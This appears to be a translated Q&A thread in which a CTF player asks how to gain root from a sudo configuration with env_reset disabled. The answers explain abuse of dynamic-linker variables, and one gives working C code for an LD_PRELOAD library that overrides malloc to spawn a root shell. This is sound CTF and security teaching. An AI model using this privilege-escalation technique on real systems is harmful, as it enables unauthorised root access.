我正在做一个ctf,我正处于它的最后一步——权限升级。使用该sudo -l
命令,输出如下:
Matching Defaults entries for nick on 192:
always_set_home, !env_reset, env_keep="LANG LC_ADDRESS LC_CTYPE LC_COLLATE
LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC
LC_PAPER LC_TELEPHONE LC_ATIME LC_ALL LANGUAGE LINGUAS XDG_SESSION_COOKIE",!insults, targetpw
User nick may run the following commands on 192:
(ALL) ALL
(root) NOPASSWD: /restart-apache
我知道 env_reset 不应该被禁用,但我不知道如何使用它来获得 root 访问权限!
$ file restart-apache
restart-apache: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, BuildID[sha1]=1b1a4ab278b2d1be83e8b14adfc358cfd277d655, for GNU/Linux 3.2.0, with debug_info, not stripped
答案1
从 sudoers 手册页:
但是,如果
env_reset
禁用该选项,则env_check
和env_delete
选项未明确拒绝的任何变量将从调用进程继承。
因此,您可以将任意环境变量插入到启动的进程中。
您没有显示程序/restart-apache
是什么类型,但如果恰好是 shell 脚本,那么这应该很容易。您能想到任何会影响其功能的环境变量吗?当 shell 脚本运行几乎任何命令时,到底会发生什么?它在哪里找到它?
好吧,事实证明我运气不好,它是一个实际编译的程序,所以它可能不会通过PATH
.它仍然可能,但很难指望这一点。
该输出看起来file
可能会被截断:我得到的输出file /bin/ls
是这样的(分成多行):
/bin/ls: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
for GNU/Linux 2.6.32, BuildID[sha1]=3c233e12c466a83aa9b2094b07dbfaa5bd10eccd,
stripped
(问题的输出中缺少解释器的完整路径。)
如果您的程序ld-linux-x86-64.so.2
像所有“正常”动态可执行文件一样使用 ,我们可以开始查看当您运行这样的程序时实际发生的情况。例如从这里:/lib64/ld-linux-x86-64.so.2是什么,为什么可以用它来执行文件?。
剧透:程序本身并不是首先运行的。
我们还发现动态链接器的手册页。该手册页列出了一些有趣的环境变量,这些变量会影响程序启动时的设置方式,这些变量的名称类似于LD_*
.您可能需要进行一些编码才能使其执行您想要的操作。
答案2
env_reset 未设置,env_delete 不包含LD_PRELOAD
且未env_check
设置。LD_PRELOAD=/tmp/sploit.so
root 是你的。
中的代码sploit.so
为:
#include <unistd.h>
void *malloc(size_t size)
{
static const char* run[] = { "/bin/sh", NULL };
static const char* env[] = { "PATH=/bin:/usr/bin:/sbin:/usr/sbin", "IFS= \t\n", NULL}
execve(run[0], run, env);
_exit(255);
}
答案3
只是为了补充伊尔卡丘的回答:
如果您可以使用自定义执行某些操作LD_LIBRARY_PATH您可以强制它使用不同的标准库。 非常多东西链接到 libc.so。您可以使用 检查这一点ldd
。例如ldd $(which ls)
:
linux-vdso.so.1 (0x00007fffcc103000)
libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007fb4550ff000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb454f0d000)
libpcre2-8.so.0 => /usr/lib/x86_64-linux-gnu/libpcre2-8.so.0 (0x00007fb454e7d000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fb454e77000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb45515b000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fb454e54000)
现在,您可以创建一个自定义 libc.so,它通过动态加载主系统并将每个调用转发到系统来模仿标准 libc.so ...现在您可以替换任何欺骗库中的标准 C 函数要做的事情任何事物以及它应该做什么。
malloc()
因此,您可以创建一个欺骗 libc.so,它会在第一次调用时为用户生成一个新的 root shell(sh 或 bash) 。
所有这些意味着,如果您仅授予某人 sudo 访问权限来运行单个程序,则可以通过设置 LD_LIBRARY_PATH 并提供欺骗库(libc.so)来欺骗该程序运行任何内容。